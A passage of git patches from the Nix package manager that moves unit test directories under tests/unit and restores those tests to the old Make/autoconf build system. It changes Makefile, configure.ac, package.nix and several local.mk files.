rename to tests/unit/libstore/data/worker-protocol/build-result-1.28.bin diff --git a/src/nix-store-tests/data/worker-protocol/build-result-1.29.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.29.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/build-result-1.29.bin rename to tests/unit/libstore/data/worker-protocol/build-result-1.29.bin diff --git a/src/nix-store-tests/data/worker-protocol/build-result-1.37.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.37.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/build-result-1.37.bin rename to tests/unit/libstore/data/worker-protocol/build-result-1.37.bin diff --git a/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_30.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/client-handshake-info_1_30.bin rename to tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin diff --git a/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_33.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/client-handshake-info_1_33.bin rename to tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin diff --git a/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_35.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/client-handshake-info_1_35.bin rename to tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin diff --git a/src/nix-store-tests/data/worker-protocol/content-address.bin b/tests/unit/libstore/data/worker-protocol/content-address.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/content-address.bin rename to tests/unit/libstore/data/worker-protocol/content-address.bin diff --git a/src/nix-store-tests/data/worker-protocol/derived-path-1.29.bin b/tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/derived-path-1.29.bin rename to tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin diff --git a/src/nix-store-tests/data/worker-protocol/derived-path-1.30.bin b/tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/derived-path-1.30.bin rename to tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin diff --git a/src/nix-store-tests/data/worker-protocol/drv-output.bin b/tests/unit/libstore/data/worker-protocol/drv-output.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/drv-output.bin rename to tests/unit/libstore/data/worker-protocol/drv-output.bin diff --git a/src/nix-store-tests/data/worker-protocol/handshake-to-client.bin b/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/handshake-to-client.bin rename to tests/unit/libstore/data/worker-protocol/handshake-to-client.bin diff --git a/src/nix-store-tests/data/worker-protocol/keyed-build-result-1.29.bin b/tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/keyed-build-result-1.29.bin rename to tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin diff --git a/src/nix-store-tests/data/worker-protocol/optional-content-address.bin b/tests/unit/libstore/data/worker-protocol/optional-content-address.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/optional-content-address.bin rename to tests/unit/libstore/data/worker-protocol/optional-content-address.bin diff --git a/src/nix-store-tests/data/worker-protocol/optional-store-path.bin b/tests/unit/libstore/data/worker-protocol/optional-store-path.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/optional-store-path.bin rename to tests/unit/libstore/data/worker-protocol/optional-store-path.bin diff --git a/src/nix-store-tests/data/worker-protocol/optional-trusted-flag.bin b/tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/optional-trusted-flag.bin rename to tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin diff --git a/src/nix-store-tests/data/worker-protocol/realisation.bin b/tests/unit/libstore/data/worker-protocol/realisation.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/realisation.bin rename to tests/unit/libstore/data/worker-protocol/realisation.bin diff --git a/src/nix-store-tests/data/worker-protocol/set.bin b/tests/unit/libstore/data/worker-protocol/set.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/set.bin rename to tests/unit/libstore/data/worker-protocol/set.bin diff --git a/src/nix-store-tests/data/worker-protocol/store-path.bin b/tests/unit/libstore/data/worker-protocol/store-path.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/store-path.bin rename to tests/unit/libstore/data/worker-protocol/store-path.bin diff --git a/src/nix-store-tests/data/worker-protocol/string.bin b/tests/unit/libstore/data/worker-protocol/string.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/string.bin rename to tests/unit/libstore/data/worker-protocol/string.bin diff --git a/src/nix-store-tests/data/worker-protocol/unkeyed-valid-path-info-1.15.bin b/tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/unkeyed-valid-path-info-1.15.bin rename to tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin diff --git a/src/nix-store-tests/data/worker-protocol/valid-path-info-1.15.bin b/tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/valid-path-info-1.15.bin rename to tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin diff --git a/src/nix-store-tests/data/worker-protocol/valid-path-info-1.16.bin b/tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/valid-path-info-1.16.bin rename to tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin diff --git a/src/nix-store-tests/data/worker-protocol/vector.bin b/tests/unit/libstore/data/worker-protocol/vector.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/vector.bin rename to tests/unit/libstore/data/worker-protocol/vector.bin diff --git a/src/nix-store-tests/derivation-advanced-attrs.cc b/tests/unit/libstore/derivation-advanced-attrs.cc similarity index 100% rename from src/nix-store-tests/derivation-advanced-attrs.cc rename to tests/unit/libstore/derivation-advanced-attrs.cc diff --git a/src/nix-store-tests/derivation.cc b/tests/unit/libstore/derivation.cc similarity index 100% rename from src/nix-store-tests/derivation.cc rename to tests/unit/libstore/derivation.cc diff --git a/src/nix-store-tests/derived-path.cc b/tests/unit/libstore/derived-path.cc similarity index 100% rename from src/nix-store-tests/derived-path.cc rename to tests/unit/libstore/derived-path.cc diff --git a/src/nix-store-tests/downstream-placeholder.cc b/tests/unit/libstore/downstream-placeholder.cc similarity index 100% rename from src/nix-store-tests/downstream-placeholder.cc rename to tests/unit/libstore/downstream-placeholder.cc diff --git a/src/nix-store-tests/machines.cc b/tests/unit/libstore/machines.cc similarity index 100% rename from src/nix-store-tests/machines.cc rename to tests/unit/libstore/machines.cc diff --git a/src/nix-store-tests/meson.build b/tests/unit/libstore/meson.build similarity index 100% rename from src/nix-store-tests/meson.build rename to tests/unit/libstore/meson.build diff --git a/src/nix-store-tests/nar-info-disk-cache.cc b/tests/unit/libstore/nar-info-disk-cache.cc similarity index 100% rename from src/nix-store-tests/nar-info-disk-cache.cc rename to tests/unit/libstore/nar-info-disk-cache.cc diff --git a/src/nix-store-tests/nar-info.cc b/tests/unit/libstore/nar-info.cc similarity index 100% rename from src/nix-store-tests/nar-info.cc rename to tests/unit/libstore/nar-info.cc diff --git a/src/nix-store-tests/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc similarity index 100% rename from src/nix-store-tests/nix_api_store.cc rename to tests/unit/libstore/nix_api_store.cc diff --git a/src/nix-store-tests/outputs-spec.cc b/tests/unit/libstore/outputs-spec.cc similarity index 100% rename from src/nix-store-tests/outputs-spec.cc rename to tests/unit/libstore/outputs-spec.cc diff --git a/src/nix-store-tests/package.nix b/tests/unit/libstore/package.nix similarity index 90% rename from src/nix-store-tests/package.nix rename to tests/unit/libstore/package.nix index 243b9f149..663e8ba43 100644 --- a/src/nix-store-tests/package.nix +++ b/tests/unit/libstore/package.nix @@ -33,9 +33,9 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ - ../../build-utils-meson + ../../../build-utils-meson ./build-utils-meson - ../../.version + ../../../.version ./.version ./meson.build # ./meson.options @@ -65,7 +65,7 @@ mkMesonDerivation (finalAttrs: { # Do the meson utils, without modification. '' chmod u+w ./.version - echo ${version} > ../../.version + echo ${version} > ../../../.version ''; mesonFlags = [ @@ -92,12 +92,12 @@ mkMesonDerivation (finalAttrs: { root = ../..; fileset = lib.fileset.unions [ ./data - ../../tests/functional/derivation + ../../functional/derivation ]; }; in runCommand "${finalAttrs.pname}-run" {} '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" - export _NIX_TEST_UNIT_DATA=${data + "/src/nix-store-test/data"} + export _NIX_TEST_UNIT_DATA=${data + "/unit/libstore/data"} nix-store-tests touch $out ''; diff --git a/src/nix-store-tests/path-info.cc b/tests/unit/libstore/path-info.cc similarity index 100% rename from src/nix-store-tests/path-info.cc rename to tests/unit/libstore/path-info.cc diff --git a/src/nix-store-tests/path.cc b/tests/unit/libstore/path.cc similarity index 100% rename from src/nix-store-tests/path.cc rename to tests/unit/libstore/path.cc diff --git a/src/nix-store-tests/references.cc b/tests/unit/libstore/references.cc similarity index 100% rename from src/nix-store-tests/references.cc rename to tests/unit/libstore/references.cc diff --git a/src/nix-store-tests/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc similarity index 100% rename from src/nix-store-tests/serve-protocol.cc rename to tests/unit/libstore/serve-protocol.cc diff --git a/src/nix-store-tests/store-reference.cc b/tests/unit/libstore/store-reference.cc similarity index 100% rename from src/nix-store-tests/store-reference.cc rename to tests/unit/libstore/store-reference.cc diff --git a/src/nix-store-tests/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc similarity index 100% rename from src/nix-store-tests/worker-protocol.cc rename to tests/unit/libstore/worker-protocol.cc diff --git a/tests/unit/libutil-support/.version b/tests/unit/libutil-support/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libutil-support/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libutil-support/build-utils-meson b/tests/unit/libutil-support/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libutil-support/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix-util-test-support/meson.build b/tests/unit/libutil-support/meson.build similarity index 100% rename from src/nix-util-test-support/meson.build rename to tests/unit/libutil-support/meson.build diff --git a/src/nix-util-test-support/package.nix b/tests/unit/libutil-support/package.nix similarity index 93% rename from src/nix-util-test-support/package.nix rename to tests/unit/libutil-support/package.nix index 42a56d58f..431fe91c6 100644 --- a/src/nix-util-test-support/package.nix +++ b/tests/unit/libutil-support/package.nix @@ -28,9 +28,9 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ - ../../build-utils-meson + ../../../build-utils-meson ./build-utils-meson - ../../.version + ../../../.version ./.version ./meson.build # ./meson.options @@ -56,7 +56,7 @@ mkMesonDerivation (finalAttrs: { # Do the meson utils, without modification. '' chmod u+w ./.version - echo ${version} > ../../.version + echo ${version} > ../../../.version ''; mesonFlags = [ diff --git a/src/nix-util-test-support/tests/characterization.hh b/tests/unit/libutil-support/tests/characterization.hh similarity index 100% rename from src/nix-util-test-support/tests/characterization.hh rename to tests/unit/libutil-support/tests/characterization.hh diff --git a/src/nix-util-test-support/tests/hash.cc b/tests/unit/libutil-support/tests/hash.cc similarity index 100% rename from src/nix-util-test-support/tests/hash.cc rename to tests/unit/libutil-support/tests/hash.cc diff --git a/src/nix-util-test-support/tests/hash.hh b/tests/unit/libutil-support/tests/hash.hh similarity index 100% rename from src/nix-util-test-support/tests/hash.hh rename to tests/unit/libutil-support/tests/hash.hh diff --git a/src/nix-util-test-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh similarity index 100% rename from src/nix-util-test-support/tests/nix_api_util.hh rename to tests/unit/libutil-support/tests/nix_api_util.hh diff --git a/src/nix-util-test-support/tests/string_callback.cc b/tests/unit/libutil-support/tests/string_callback.cc similarity index 100% rename from src/nix-util-test-support/tests/string_callback.cc rename to tests/unit/libutil-support/tests/string_callback.cc diff --git a/src/nix-util-test-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh similarity index 100% rename from src/nix-util-test-support/tests/string_callback.hh rename to tests/unit/libutil-support/tests/string_callback.hh diff --git a/tests/unit/libutil/.version b/tests/unit/libutil/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libutil/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/src/nix-util-tests/args.cc b/tests/unit/libutil/args.cc similarity index 100% rename from src/nix-util-tests/args.cc rename to tests/unit/libutil/args.cc diff --git a/tests/unit/libutil/build-utils-meson b/tests/unit/libutil/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libutil/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix-util-tests/canon-path.cc b/tests/unit/libutil/canon-path.cc similarity index 100% rename from src/nix-util-tests/canon-path.cc rename to tests/unit/libutil/canon-path.cc diff --git a/src/nix-util-tests/chunked-vector.cc b/tests/unit/libutil/chunked-vector.cc similarity index 100% rename from src/nix-util-tests/chunked-vector.cc rename to tests/unit/libutil/chunked-vector.cc diff --git a/src/nix-util-tests/closure.cc b/tests/unit/libutil/closure.cc similarity index 100% rename from src/nix-util-tests/closure.cc rename to tests/unit/libutil/closure.cc diff --git a/src/nix-util-tests/compression.cc b/tests/unit/libutil/compression.cc similarity index 100% rename from src/nix-util-tests/compression.cc rename to tests/unit/libutil/compression.cc diff --git a/src/nix-util-tests/config.cc b/tests/unit/libutil/config.cc similarity index 100% rename from src/nix-util-tests/config.cc rename to tests/unit/libutil/config.cc diff --git a/src/nix-util-tests/data/git/check-data.sh b/tests/unit/libutil/data/git/check-data.sh similarity index 100% rename from src/nix-util-tests/data/git/check-data.sh rename to tests/unit/libutil/data/git/check-data.sh diff --git a/src/nix-util-tests/data/git/hello-world-blob.bin b/tests/unit/libutil/data/git/hello-world-blob.bin similarity index 100% rename from src/nix-util-tests/data/git/hello-world-blob.bin rename to tests/unit/libutil/data/git/hello-world-blob.bin diff --git a/src/nix-util-tests/data/git/hello-world.bin b/tests/unit/libutil/data/git/hello-world.bin similarity index 100% rename from src/nix-util-tests/data/git/hello-world.bin rename to tests/unit/libutil/data/git/hello-world.bin diff --git a/src/nix-util-tests/data/git/tree.bin b/tests/unit/libutil/data/git/tree.bin similarity index 100% rename from src/nix-util-tests/data/git/tree.bin rename to tests/unit/libutil/data/git/tree.bin diff --git a/src/nix-util-tests/data/git/tree.txt b/tests/unit/libutil/data/git/tree.txt similarity index 100% rename from src/nix-util-tests/data/git/tree.txt rename to tests/unit/libutil/data/git/tree.txt diff --git a/src/nix-util-tests/file-content-address.cc b/tests/unit/libutil/file-content-address.cc similarity index 100% rename from src/nix-util-tests/file-content-address.cc rename to tests/unit/libutil/file-content-address.cc diff --git a/src/nix-util-tests/git.cc b/tests/unit/libutil/git.cc similarity index 99% rename from src/nix-util-tests/git.cc rename to tests/unit/libutil/git.cc index 24d24a791..ff934c117 100644 --- a/src/nix-util-tests/git.cc +++ b/tests/unit/libutil/git.cc @@ -88,7 +88,7 @@ TEST_F(GitTest, blob_write) { /** * This data is for "shallow" tree tests. However, we use "real" hashes * so that we can check our test data in a small shell script test test - * (`src/nix-util-tests/data/git/check-data.sh`). + * (`tests/unit/libutil/data/git/check-data.sh`). */ const static Tree tree = { { diff --git a/src/nix-util-tests/hash.cc b/tests/unit/libutil/hash.cc similarity index 100% rename from src/nix-util-tests/hash.cc rename to tests/unit/libutil/hash.cc diff --git a/src/nix-util-tests/hilite.cc b/tests/unit/libutil/hilite.cc similarity index 100% rename from src/nix-util-tests/hilite.cc rename to tests/unit/libutil/hilite.cc diff --git a/src/nix-util-tests/json-utils.cc b/tests/unit/libutil/json-utils.cc similarity index 100% rename from src/nix-util-tests/json-utils.cc rename to tests/unit/libutil/json-utils.cc diff --git a/src/nix-util-tests/logging.cc b/tests/unit/libutil/logging.cc similarity index 100% rename from src/nix-util-tests/logging.cc rename to tests/unit/libutil/logging.cc diff --git a/src/nix-util-tests/lru-cache.cc b/tests/unit/libutil/lru-cache.cc similarity index 100% rename from src/nix-util-tests/lru-cache.cc rename to tests/unit/libutil/lru-cache.cc diff --git a/src/nix-util-tests/meson.build b/tests/unit/libutil/meson.build similarity index 100% rename from src/nix-util-tests/meson.build rename to tests/unit/libutil/meson.build diff --git a/src/nix-util-tests/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc similarity index 100% rename from src/nix-util-tests/nix_api_util.cc rename to tests/unit/libutil/nix_api_util.cc diff --git a/src/nix-util-tests/package.nix b/tests/unit/libutil/package.nix similarity index 94% rename from src/nix-util-tests/package.nix rename to tests/unit/libutil/package.nix index 2491d8722..6bfa571d8 100644 --- a/src/nix-util-tests/package.nix +++ b/tests/unit/libutil/package.nix @@ -32,9 +32,9 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ - ../../build-utils-meson + ../../../build-utils-meson ./build-utils-meson - ../../.version + ../../../.version ./.version ./meson.build # ./meson.options @@ -63,7 +63,7 @@ mkMesonDerivation (finalAttrs: { # Do the meson utils, without modification. '' chmod u+w ./.version - echo ${version} > ../../.version + echo ${version} > ../../../.version ''; mesonFlags = [ diff --git a/src/nix-util-tests/pool.cc b/tests/unit/libutil/pool.cc similarity index 100% rename from src/nix-util-tests/pool.cc rename to tests/unit/libutil/pool.cc diff --git a/src/nix-util-tests/references.cc b/tests/unit/libutil/references.cc similarity index 100% rename from src/nix-util-tests/references.cc rename to tests/unit/libutil/references.cc diff --git a/src/nix-util-tests/spawn.cc b/tests/unit/libutil/spawn.cc similarity index 100% rename from src/nix-util-tests/spawn.cc rename to tests/unit/libutil/spawn.cc diff --git a/src/nix-util-tests/suggestions.cc b/tests/unit/libutil/suggestions.cc similarity index 100% rename from src/nix-util-tests/suggestions.cc rename to tests/unit/libutil/suggestions.cc diff --git a/src/nix-util-tests/tests.cc b/tests/unit/libutil/tests.cc similarity index 100% rename from src/nix-util-tests/tests.cc rename to tests/unit/libutil/tests.cc diff --git a/src/nix-util-tests/url.cc b/tests/unit/libutil/url.cc similarity index 100% rename from src/nix-util-tests/url.cc rename to tests/unit/libutil/url.cc diff --git a/src/nix-util-tests/xml-writer.cc b/tests/unit/libutil/xml-writer.cc similarity index 100% rename from src/nix-util-tests/xml-writer.cc rename to tests/unit/libutil/xml-writer.cc From b0bc2a97bfe007fbc32f584ed9de5e7cb75a521c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 1 Jul 2024 14:40:34 -0400 Subject: [PATCH 0974/1251] Put unit tests back in old build system for now --- Makefile | 19 ++++++++++++ Makefile.config.in | 1 + configure.ac | 22 ++++++++++++++ package.nix | 33 +++++++++++++++++++- tests/unit/libexpr-support/local.mk | 23 ++++++++++++++ tests/unit/libexpr/local.mk | 45 ++++++++++++++++++++++++++++ tests/unit/libfetchers/local.mk | 37 +++++++++++++++++++++++ tests/unit/libflake/local.mk | 43 ++++++++++++++++++++++++++ tests/unit/libstore-support/local.mk | 21 +++++++++++++ tests/unit/libstore/local.mk | 38 +++++++++++++++++++++++ tests/unit/libutil-support/local.mk | 19 ++++++++++++ tests/unit/libutil/local.mk | 37 +++++++++++++++++++++++ 12 files changed, 337 insertions(+), 1 deletion(-) create mode 100644 tests/unit/libexpr-support/local.mk create mode 100644 tests/unit/libexpr/local.mk create mode 100644 tests/unit/libfetchers/local.mk create mode 100644 tests/unit/libflake/local.mk create mode 100644 tests/unit/libstore-support/local.mk create mode 100644 tests/unit/libstore/local.mk create mode 100644 tests/unit/libutil-support/local.mk create mode 100644 tests/unit/libutil/local.mk diff --git a/Makefile b/Makefile index a65cdbd40..bb64a104e 100644 --- a/Makefile +++ b/Makefile @@ -38,6 +38,18 @@ makefiles += \ endif endif +ifeq ($(ENABLE_UNIT_TESTS), yes) +makefiles += \ + tests/unit/libutil/local.mk \ + tests/unit/libutil-support/local.mk \ + tests/unit/libstore/local.mk \ + tests/unit/libstore-support/local.mk \ + tests/unit/libfetchers/local.mk \ + tests/unit/libexpr/local.mk \ + tests/unit/libexpr-support/local.mk \ + tests/unit/libflake/local.mk +endif + ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes) ifdef HOST_UNIX makefiles += \ @@ -91,6 +103,13 @@ include mk/lib.mk # These must be defined after `mk/lib.mk`. Otherwise the first rule # incorrectly becomes the default target. +ifneq ($(ENABLE_UNIT_TESTS), yes) +.PHONY: check +check: + @echo "Unit tests are disabled. Configure without '--disable-unit-tests', or avoid calling 'make check'." + @exit 1 +endif + ifneq ($(ENABLE_FUNCTIONAL_TESTS), yes) .PHONY: installcheck installcheck: diff --git a/Makefile.config.in b/Makefile.config.in index e131484f6..3100d2073 100644 --- a/Makefile.config.in +++ b/Makefile.config.in @@ -12,6 +12,7 @@ ENABLE_BUILD = @ENABLE_BUILD@ ENABLE_DOC_GEN = @ENABLE_DOC_GEN@ ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@ ENABLE_S3 = @ENABLE_S3@ +ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@ GTEST_LIBS = @GTEST_LIBS@ HAVE_LIBCPUID = @HAVE_LIBCPUID@ HAVE_SECCOMP = @HAVE_SECCOMP@ diff --git a/configure.ac b/configure.ac index b9f190166..4f66a3efc 100644 --- a/configure.ac +++ b/configure.ac @@ -141,6 +141,18 @@ AC_ARG_ENABLE(build, AS_HELP_STRING([--disable-build],[Do not build nix]), ENABLE_BUILD=$enableval, ENABLE_BUILD=yes) AC_SUBST(ENABLE_BUILD) +# Building without unit tests is useful for bootstrapping with a smaller footprint +# or running the tests in a separate derivation. Otherwise, we do compile and +# run them. + +AC_ARG_ENABLE(unit-tests, AS_HELP_STRING([--disable-unit-tests],[Do not build the tests]), + ENABLE_UNIT_TESTS=$enableval, ENABLE_UNIT_TESTS=$ENABLE_BUILD) +AC_SUBST(ENABLE_UNIT_TESTS) + +AS_IF( + [test "$ENABLE_BUILD" == "no" && test "$ENABLE_UNIT_TESTS" == "yes"], + [AC_MSG_ERROR([Cannot enable unit tests when building overall is disabled. Please do not pass '--enable-unit-tests' or do not pass '--disable-build'.])]) + AC_ARG_ENABLE(functional-tests, AS_HELP_STRING([--disable-functional-tests],[Do not build the tests]), ENABLE_FUNCTIONAL_TESTS=$enableval, ENABLE_FUNCTIONAL_TESTS=yes) AC_SUBST(ENABLE_FUNCTIONAL_TESTS) @@ -353,6 +365,16 @@ if test "$gc" = yes; then CFLAGS="$old_CFLAGS" fi +AS_IF([test "$ENABLE_UNIT_TESTS" == "yes"],[ + +# Look for gtest. +PKG_CHECK_MODULES([GTEST], [gtest_main gmock_main]) + +# Look for rapidcheck. +PKG_CHECK_MODULES([RAPIDCHECK], [rapidcheck rapidcheck_gtest]) + +]) + # Look for nlohmann/json. PKG_CHECK_MODULES([NLOHMANN_JSON], [nlohmann_json >= 3.9]) diff --git a/package.nix b/package.nix index 041786d47..c3e565399 100644 --- a/package.nix +++ b/package.nix @@ -52,6 +52,10 @@ # Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix , doBuild ? true +# Run the unit tests as part of the build. See `installUnitTests` for an +# alternative to this. +, doCheck ? __forDefaults.canRunInstalled + # Run the functional tests as part of the build. , doInstallCheck ? test-client != null || __forDefaults.canRunInstalled @@ -84,6 +88,11 @@ # - readline , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline" +# Whether to install unit tests. This is useful when cross compiling +# since we cannot run them natively during the build, but can do so +# later. +, installUnitTests ? doBuild && !__forDefaults.canExecuteHost + # For running the functional tests against a pre-built Nix. Probably # want to use in conjunction with `doBuild = false;`. , test-daemon ? null @@ -109,7 +118,7 @@ let # things which should instead be gotten via `finalAttrs` in order to # work with overriding. attrs = { - inherit doBuild doInstallCheck; + inherit doBuild doCheck doInstallCheck; }; mkDerivation = @@ -125,11 +134,16 @@ in mkDerivation (finalAttrs: let inherit (finalAttrs) + doCheck doInstallCheck ; doBuild = !finalAttrs.dontBuild; + # Either running the unit tests during the build, or installing them + # to be run later, requiresthe unit tests to be built. + buildUnitTests = doCheck || installUnitTests; + in { inherit pname version; @@ -163,6 +177,8 @@ in { ./scripts/local.mk ] ++ lib.optionals enableManual [ ./doc/manual + ] ++ lib.optionals buildUnitTests [ + ./tests/unit ] ++ lib.optionals doInstallCheck [ ./tests/functional ])); @@ -175,6 +191,8 @@ in { # If we are doing just build or just docs, the one thing will use # "out". We only need additional outputs if we are doing both. ++ lib.optional (doBuild && enableManual) "doc" + ++ lib.optional installUnitTests "check" + ++ lib.optional doCheck "testresults" ; nativeBuildInputs = [ @@ -212,6 +230,9 @@ in { ({ inherit readline editline; }.${readlineFlavor}) ] ++ lib.optionals enableMarkdown [ lowdown + ] ++ lib.optionals buildUnitTests [ + gtest + rapidcheck ] ++ lib.optional stdenv.isLinux libseccomp ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid # There have been issues building these dependencies @@ -228,16 +249,22 @@ in { ] ++ lib.optional enableGC boehmgc; dontBuild = !attrs.doBuild; + doCheck = attrs.doCheck; configureFlags = [ (lib.enableFeature doBuild "build") + (lib.enableFeature buildUnitTests "unit-tests") (lib.enableFeature doInstallCheck "functional-tests") (lib.enableFeature enableManual "doc-gen") (lib.enableFeature enableGC "gc") (lib.enableFeature enableMarkdown "markdown") + (lib.enableFeature installUnitTests "install-unit-tests") (lib.withFeatureAs true "readline-flavor" readlineFlavor) ] ++ lib.optionals (!forDevShell) [ "--sysconfdir=/etc" + ] ++ lib.optionals installUnitTests [ + "--with-check-bin-dir=${builtins.placeholder "check"}/bin" + "--with-check-lib-dir=${builtins.placeholder "check"}/lib" ] ++ lib.optionals (doBuild) [ "--with-boost=${boost}/lib" ] ++ lib.optionals (doBuild && stdenv.isLinux) [ @@ -318,6 +345,10 @@ in { platforms = lib.platforms.unix ++ lib.platforms.windows; mainProgram = "nix"; broken = !(lib.all (a: a) [ + # We cannot run or install unit tests if we don't build them or + # Nix proper (which they depend on). + (installUnitTests -> doBuild) + (doCheck -> doBuild) # The build process for the manual currently requires extracting # data from the Nix executable we are trying to document. (enableManual -> doBuild) diff --git a/tests/unit/libexpr-support/local.mk b/tests/unit/libexpr-support/local.mk new file mode 100644 index 000000000..0501de33c --- /dev/null +++ b/tests/unit/libexpr-support/local.mk @@ -0,0 +1,23 @@ +libraries += libexpr-test-support + +libexpr-test-support_NAME = libnixexpr-test-support + +libexpr-test-support_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libexpr-test-support_INSTALL_DIR := $(checklibdir) +else + libexpr-test-support_INSTALL_DIR := +endif + +libexpr-test-support_SOURCES := \ + $(wildcard $(d)/tests/*.cc) \ + $(wildcard $(d)/tests/value/*.cc) + +libexpr-test-support_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) + +libexpr-test-support_LIBS = \ + libstore-test-support libutil-test-support \ + libexpr libstore libutil + +libexpr-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk new file mode 100644 index 000000000..1617e2823 --- /dev/null +++ b/tests/unit/libexpr/local.mk @@ -0,0 +1,45 @@ +check: libexpr-tests_RUN + +programs += libexpr-tests + +libexpr-tests_NAME := libnixexpr-tests + +libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libexpr-tests.xml + +libexpr-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libexpr-tests_INSTALL_DIR := $(checkbindir) +else + libexpr-tests_INSTALL_DIR := +endif + +libexpr-tests_SOURCES := \ + $(wildcard $(d)/*.cc) \ + $(wildcard $(d)/value/*.cc) \ + $(wildcard $(d)/flake/*.cc) + +libexpr-tests_EXTRA_INCLUDES = \ + -I tests/unit/libexpr-support \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libexpr) \ + $(INCLUDE_libexprc) \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libstorec) \ + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) + +libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) + +libexpr-tests_LIBS = \ + libexpr-test-support libstore-test-support libutil-test-support \ + libexpr libexprc libfetchers libstore libstorec libutil libutilc + +libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libexpr-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk new file mode 100644 index 000000000..286a59030 --- /dev/null +++ b/tests/unit/libfetchers/local.mk @@ -0,0 +1,37 @@ +check: libfetchers-tests_RUN + +programs += libfetchers-tests + +libfetchers-tests_NAME = libnixfetchers-tests + +libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data 